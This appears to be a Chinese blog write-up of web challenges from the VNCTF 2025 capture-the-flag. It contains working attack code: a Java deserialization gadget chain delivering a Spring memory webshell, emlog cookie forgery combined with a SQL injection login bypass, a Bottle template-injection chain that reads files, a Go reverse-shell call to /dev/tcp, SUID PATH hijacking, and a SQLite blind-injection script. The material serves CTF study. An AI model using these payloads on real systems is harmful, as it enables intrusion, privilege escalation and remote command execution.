2876 字
14 分钟
VNCTF的WEB方向复现
2025-02-16

JavaGuide#

  @RequestMapping({"/deser"})  
  @ResponseBody  
  public String deserialize(@RequestParam String payload) {  
    byte[] decode = Base64.getDecoder().decode(payload);  
    try {  
      MyObjectInputStream myObjectInputStream = new MyObjectInputStream(new ByteArrayInputStream(decode));  
      myObjectInputStream.readObject();  
    } catch (InvalidClassException e) {  
      return e.getMessage();  
    } catch (Exception e) {  
      e.printStackTrace();  
      return "exception";  
    }   
    return "ok";

/deser路由将接收到的数据进行base64解码,放到自定义的 MyObjectInputStream对象中调用其 readObject方法构成反序列化,如果反序列化时出现 InvalidClassException则返回报错信息,其他报错返回 exception,成功反序列化返回 ok

denyClasses = { "com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson" };

MyObjectInputStream重写了resolveClass方法,过滤了以上类 不能直接通过TemplatesImpl加载恶意类字节码,也不能通过BadAttributeValueExpException到toString。 查询pom.xml发现存在fastjson,于是可以借fastjson进行二次反序列化来绕过黑名单

官wp使用了SignedObject来进行二次反序列化 SignedObject的getObject方法是一个典型的反序列化操作 img 且其内容也可控,也就是这里的 object img

如何触发 getObject呢? 我们知道

fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法

SignedObject刚好符合,所以将 SignedObject的一个对象通过 JSONarray对象的add方法添加到列表中去,反序列化时便会自动调用✔

那么如何触发fastjson? jackson 原生反序列化触发 getter 方法 - 高人于斯 - 博客园 这篇文章中把jackson换成fastjson,主要是看前面怎么触发 toString

其中关键代码:

//EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString() 
EventListenerList list = new EventListenerList(); UndoManager manager = new UndoManager(); 
Vector vector = (Vector) getFieldValue(manager, "edits"); vector.add(pojoNode); 
setFieldValue(list, "listenerList", new Object[] { Map.class, manager });

pojoNode换成JSONarray的对象即可 而为了调用 EventListenerList的toString,我们使用 HashMap,将构造好的 signedObject对象和 EventListenerList对象作为键值对使用put方法放在一个hashmap对象中

当调用 hashmap的readObject方法时,会调用到

最终触发到 EventListenerList的readObject,进而调用到 UndoManager,再到 ToString触发fastjson

HashMap#readObject ->
EventListenerList#readObject ->
UndoManager#toString -> 
fastjson.JSONArray#toString ->
java.security.SignedObject#getObject ->
TemplatesImpl#newTransformer->
TemplatesImpl#getTransletInstance->
TemplatesImpl#defineTransletClasses->
TransletClassLoader#defineClass //加载恶意类字节码

完整堆栈

defineClass:185, TemplatesImpl$TransletClassLoader (com.sun.org.apache.xalan.internal.xsltc.trax)
defineTransletClasses:414, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:451, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_2_TemplatesImpl (com.alibaba.fastjson.serializer)
writeWithFieldName:360, JSONSerializer (com.alibaba.fastjson.serializer)
write:-1, ASMSerializer_1_SignedObject (com.alibaba.fastjson.serializer)
write:135, ListSerializer (com.alibaba.fastjson.serializer)
write:312, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:1077, JSON (com.alibaba.fastjson)
toString:1071, JSON (com.alibaba.fastjson)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:462, AbstractCollection (java.util)
toString:1000, Vector (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:258, CompoundEdit (javax.swing.undo)
toString:621, UndoManager (javax.swing.undo)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
add:187, EventListenerList (javax.swing.event)
readObject:277, EventListenerList (javax.swing.event)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2173, ObjectInputStream (java.io)
readOrdinaryObject:2064, ObjectInputStream (java.io)
readObject0:1568, ObjectInputStream (java.io)
readObject:428, ObjectInputStream (java.io)
readObject:1409, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2173, ObjectInputStream (java.io)
readOrdinaryObject:2064, ObjectInputStream (java.io)
readObject0:1568, ObjectInputStream (java.io)
readObject:428, ObjectInputStream (java.io)
unserialize:84, Exp (com.orxiain.vn5)
main:73, Exp (com.orxiain.vn5)

在本地把题目中的反序列化逻辑实现,并输入payload进行反序列化检测:

虽然回返出异常,但恶意类应该已正常加载

public static void main(String[] args) throws Exception{  
  
    byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();  
    TemplatesImpl templates = TemplatesImpl.class.newInstance();  
    setValue(templates, "_bytecodes", new byte[][]{bytes});  
    setValue(templates, "_name", "1");  
    setValue(templates, "_tfactory", null);  
    //获取内存马的恶意字节码并存储  
  
    KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");  
    kpg.initialize(1024);  
    KeyPair kp = kpg.generateKeyPair();  
    SignedObject signedObject = new SignedObject(templates, kp.getPrivate(), Signature.getInstance("DSA"));  
    //SignedObject二次反序列化相关,将构造好的templates传入,当进行readObject时触发加载  
  
    JSONArray jsonArray = new JSONArray();  
    jsonArray.add(signedObject);  
    //将构造好的signedObject对象放在fastjson对象中被打包,当反序列化时会调用signedObject的getObject方法,触发readObject  
  
    EventListenerList list = new EventListenerList();  
    UndoManager manager = new UndoManager();  
    Vector vector = (Vector) getFieldValue(manager, "edits");  
    vector.add(jsonArray);//放入fastjson对象  
    setValue(list, "listenerList", new Object[]{InternalError.class, manager});  
    //EventListenerList触发tostring  
  
    HashMap hashMap = new HashMap();  
    hashMap.put(signedObject,list);  
  
    byte[] serialize = serialize(hashMap);  
    System.out.println(Base64.getEncoder().encodeToString(serialize));  
    unserialize(serialize);  
}

public static byte[] serialize(Object obj) throws IOException {  
    ByteArrayOutputStream baos = new ByteArrayOutputStream();  
    ObjectOutputStream oos = new ObjectOutputStream(baos);  
    oos.writeObject(obj);  
    return baos.toByteArray();  
}  
public static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {  
    ByteArrayInputStream bais = new ByteArrayInputStream(bytes);  
    ObjectInputStream ois = new ObjectInputStream(bais);  
    ois.readObject();  
}
// 模拟反序列化


public static Object getFieldValue(Object obj, String fieldName)  
        throws NoSuchFieldException, IllegalAccessException {  
    Class clazz = obj.getClass();  
  
    while (clazz != null) {  
        try {  
            Field field = clazz.getDeclaredField(fieldName);  
            field.setAccessible(true);  
  
            return field.get(obj);  
        } catch (Exception e) {  
            clazz = clazz.getSuperclass();  
        }    }  
    return null;  
}

Spring内存马

package com.orxiain.vn5;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
import org.springframework.web.context.WebApplicationContext;  
import org.springframework.web.context.request.RequestContextHolder;  
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;  
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;  
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
import java.io.InputStream;  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
import java.util.Scanner;  
  
public class SpringMemShell extends AbstractTranslet{  
    static {  
        try {  
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);  
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);  
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");  
            configField.setAccessible(true);  
            RequestMappingInfo.BuilderConfiguration config =  
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);  
            Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);  
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();  
            RequestMappingInfo info = RequestMappingInfo.paths("/shell")  
                    .options(config)  
                    .build();  
            SpringMemShell springControllerMemShell = new SpringMemShell();  
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);  
  
        } catch (Exception hi) {  
        }    }  
    public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {  
        if (request.getParameter("cmd") != null) {  
            boolean isLinux = true;  
            String osTyp = System.getProperty("os.name");  
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {  
                isLinux = false;  
            }            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};  
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();  
            Scanner s = new Scanner(in).useDelimiter("\\A");  
            String output = s.hasNext() ? s.next() : "";  
            response.getWriter().write(output);  
            response.getWriter().flush();  
        }    }  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
  
    }  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  
  
    }}

将输出的base64数据进行URL强制编码后通过POST上传

得到webshell

文章 - 高版本Fastjson反序列化Xtring新链和EventListenerList绕过 - 先知社区

fastjson - Longlone’s Blog

二次反序列化 看我一命通关 - 跳跳糖

VNCTF2025部分WP - dynasty_chenzi - 博客园

ez_emblog#

emlog/emlog: 轻量级开源建站系统 比较新的洞,主页提示install.php,拉取源码进行审计

其中关于COOKIE生成的代码:发现用到了getRandStr函数

function getRandStr($length = 12, $special_chars = true, $numeric_only = false)
{
    if ($numeric_only) {
        $chars = '0123456789';
    } else {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        if ($special_chars) {
            $chars .= '!@#$%^&*()';
        }
    }
    $randStr = '';
    $chars_length = strlen($chars);
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1);
    }
    return $randStr;
}

分析这个函数,其中的 emrand()又调用了 mt_rand,这个函数存在安全隐患,可以用下面这个工具进行爆破: php_mt_seed - PHP mt_rand() seed cracker

在比赛结束后,这个漏洞被提交修复 现在变成调用这个:

function em_rand($min = 0, $max = 0)
{
    if (function_exists('random_int')) {
        try {
            return random_int($min, $max);
        } catch (Exception $e) {
            // 失败时继续使用其他方法
        }
    }
    return mt_rand($min, $max);
}

所以要先有一段cookie才能爆破,全文查找 setcookie函数被调用的地方

拿到COOKIE

将拼接的字符串转换为 php_mt_rand脚本可以识别的样式

str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr'
length = len(str2)
res=''
for i in range(len(str2)):
    res += "0 0 0 0  "

for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+'  '
            break

print(res)

爆破得到

得到 2430606281 我们可以用这个生成KEY 注意到KEY的机制:

. "const AUTH_KEY = '" . getRandStr(32) . md5(getUA()) . "';"

网站给出了管理用户的UA,于是可以进行伪造

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36

构造脚本

<?php
function getRandStr($length = 12, $special_chars = true, $numeric_only = false)
{
    if ($numeric_only) {
        $chars = '0123456789';
    } else {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        if ($special_chars) {
            $chars .= '!@#$%^&*()';
        }
    }
    $randStr = '';
    $chars_length = strlen($chars);
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1);
    }
    return $randStr;
}

mt_srand(2430606281);// 2430606281 is the seed
$a = getRandStr(32);
$b = md5("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36");
echo "AUTH_KEY = '".$a.$b."';\n";

得到

AUTH_KEY = 'yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02';

接下来伪造登录COOKIE 看到相关逻辑函数

validateAuthCookie函数中可以看见COOKIE的生成逻辑

public static function setAuthCookie($user_login, $persist = false)
    {
        if ($persist) {
            $expiration = time() + 3600 * 24 * 30 * 12;
        } else {
            $expiration = 0;
        }
        $auth_cookie_name = AUTH_COOKIE_NAME;
        $auth_cookie = self::generateAuthCookie($user_login, $expiration);
        setcookie($auth_cookie_name, $auth_cookie, $expiration, '/', '', false, true);
    }

其中调用了

private static function generateAuthCookie($user_login, $expiration)
    {
        $key = self::emHash($user_login . '|' . $expiration);
        $hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);

        return $user_login . '|' . $expiration . '|' . $hash;
    }

auth_cookie_name的内容是我们生成的随机数和 EM_AUTHCOOKIE_"的拼接

"const AUTH_COOKIE_NAME = 'EM_AUTHCOOKIE_" . getRandStr(32, false) . "';";

那么我们只需要知道用户名即可伪造,接下来考虑用户名的绕过

getUserDataByLogin的username参数存在sql注入点

    public static function getUserDataByLogin($account)
    {
        $DB = Database::getInstance();
        if (empty($account)) {
            return false;
        }
        $ret = $DB->once_fetch_array("SELECT * FROM " . DB_PREFIX . "user WHERE username = '$account' AND state = 0");
        if (!$ret) {
            $ret = $DB->once_fetch_array("SELECT * FROM " . DB_PREFIX . "user WHERE email = '$account'  AND state = 0");
            if (!$ret) {
                return false;
            }
        }
        $userData['nickname'] = htmlspecialchars($ret['nickname']);
        $userData['username'] = htmlspecialchars($ret['username']);
        $userData['password'] = $ret['password'];
        $userData['uid'] = $ret['uid'];
        $userData['role'] = $ret['role'];
        $userData['photo'] = $ret['photo'];
        $userData['email'] = $ret['email'];
        $userData['description'] = $ret['description'];
        $userData['ip'] = $ret['ip'];
        $userData['credits'] = (int)$ret['credits'];
        $userData['create_time'] = $ret['create_time'];
        $userData['update_time'] = $ret['update_time'];
        return $userData;
    }

getUserDataByLoginvalidateAuthCookiecheckUser中被调用,前者是检查COOKIE有效性的函数,username参数会直接传入不做md5处理,于是我们可以在生成COOKIE时构造万能密码

构造脚本:

<?php
function getRandStr($length = 12, $special_chars = true, $numeric_only = false)
{
    if ($numeric_only) {
        $chars = '0123456789';
    } else {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        if ($special_chars) {
            $chars .= '!@#$%^&*()';
        }
    }
    $randStr = '';
    $chars_length = strlen($chars);
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1);
    }
    return $randStr;
}

function emHash($data)
{
    return hash_hmac('md5', $data, "yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02");
}


mt_srand(2430606281);//set the seed
$a = getRandStr(32);
$b = md5("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36"); //UA泄露

$AUTH_KEY = $a.$b;
echo "AUTH_KEY = '".$a.$b."';\n";

$AUTH_COOKIE_NAME = "EM_AUTHCOOKIE_" . getRandStr(32, false);
echo "AUTH_COOKIE_NAME = ".$AUTH_COOKIE_NAME.";";

$expiration = 0;
//构造sql注入万能钥匙
$USERNAME = "' or 1=1#";

$c = $USERNAME . '|' .$expiration;
$d = emHash($c);
$hash = hash_hmac('md5', $c, $d);
echo "\n";
echo $AUTH_COOKIE_NAME . "=" . $c . "|" .$hash;

主页修改cookie后成功进入管理后台

进入后台后的漏洞点在本地插件上传,可以自编写恶意插件

也可以随便找个插件进行修改,插入一句话木马 zhheo/emlog-plugin-postchat: PostChat的emlog博客系统插件,站点AI增强工具,实现文章摘要与知识库对话

注意修改插件时把非法访问相关的逻辑注释掉

上传后访问插件所在目录 http://node.vnteam.cn:44318/content/plugins/postchat/postchat.php

学生姓名登记系统#

我说怎么可能在23个字符限制下实现命令执行,原来不是jinjia2啊

直接问AI了,o1告诉我是flask,我也没多想/_ \,反省了

bing搜索py单文件框架得到 bottle这个框架,查询官方文档发现其使用的模板引擎 SimpleTemplate — Bottle 0.14-dev documentation 该模板支持单行运行python语句

赋值的方式是 {{a:=6}}

所以可以:

{{a:=''}}
{{b:=a.__class__}}

获得其类,接下来就是正常的SSTI

{{a:=''}}
{{b:=a.__class__}}
{{c:=b.__base__}}
{{d:=c.__subclasses__}}
{{e:=d()[156]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}
{{z:='__builtins__'}}
{{h:=g[z]}}
{{i:=h['op''en']}}
{{x:=i("/flag")}}
{{y:=x.read()}}

Gin#

最后没有用find指令查询所有带suid权限的可执行文件,操作铸币了😭

任意文件读取

得到key:122r00t32l

伪造jwt token登入admin 然后可以按找官wp使用 goeval实现系统命令执行,或者使用syscall

package main

import (
    "syscall"
    "unsafe"
)

func main() {
    // 定义要执行的命令
    cmd := "/bin/bash"
    arg1 := "-c"
    arg2 := "bash -i >& /dev/tcp/xxxxxxx/15555 0>&1"

    // 将字符串转换为指针数组
    argv := []uintptr{
        uintptr(unsafe.Pointer(syscall.StringBytePtr(cmd))),
        uintptr(unsafe.Pointer(syscall.StringBytePtr(arg1))),
        uintptr(unsafe.Pointer(syscall.StringBytePtr(arg2))),
        0,
    }

    // 调用 execve 执行命令
    syscall.Syscall(
        syscall.SYS_EXECVE,
        uintptr(unsafe.Pointer(syscall.StringBytePtr(cmd))),
        uintptr(unsafe.Pointer(&argv[0])),
        0,
    )
}

使用 find / -user root -perm -4000 -print 2>/dev/null查找拥有root权限的软件

发现

要是直接运行 /.../Cat会发现它输出了根目录下的flag,它运行了 cat flag 所以可以劫持cat,将 /bin/bash写入任意目录的 cat下,然后将环境变量 PATH设置为那个目录,这样 /.../Cat就会运行 /bin/bash实现提权

echo '/bin/bash' > /tmp/cat
export PATH=/tmp:$PATH
/.../Cat 

flag在root下

奶龙#

知道是延时注入,但是没想到用了sqlite,懊悔自己的脑子转的太慢,而且没有准备好相关的fuzz字典

import requests
import time

url = 'http://node.vnteam.cn:port/login'
flag = ''

for i in range(1, 500):
    low = 32
    high = 128
    mid = (low + high) // 2
  
    while low < high:
        time.sleep(0.2)
  
        payload = (
            "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(username))/**/from/**/users),{0},1)>'{1}')"
            "/**/then/**/randomblob(50000000)/**/else/**/0/**/end)/*"
        ).format(i, chr(mid))
  
        # Alternative payload example:
        # payload = (
        #     "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(sql))/**/from/**/sqlite_master),{0},1)>'{1}')"
        #     "/**/then/**/randomblob(300000000)/**/else/**/0/**/end)/*"
        # ).format(i, chr(mid))
  
        datas = {"username": "123", "password": payload}
  
        start_time = time.time()
        res = requests.post(url=url, json=datas)
        end_time = time.time()
  
        spend_time = end_time - start_time
  
        if spend_time >= 0.19:
            low = mid + 1
        else:
            high = mid
  
        mid = (low + high) // 2
  
        if mid == 32 or mid == 127:
            break
  
    flag = flag + chr(mid)
    print(flag)

print('\n' + bytes.fromhex(flag).decode('utf-8'))

END#

打了24h没合眼,深刻意识到自己多方面的不足

无论如何得打出成绩

VNCTF的WEB方向复现
https://fuwari.vercel.app/posts/2025vnctf的web方向复现/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2025-02-16
许可协议
CC BY-NC-SA 4.0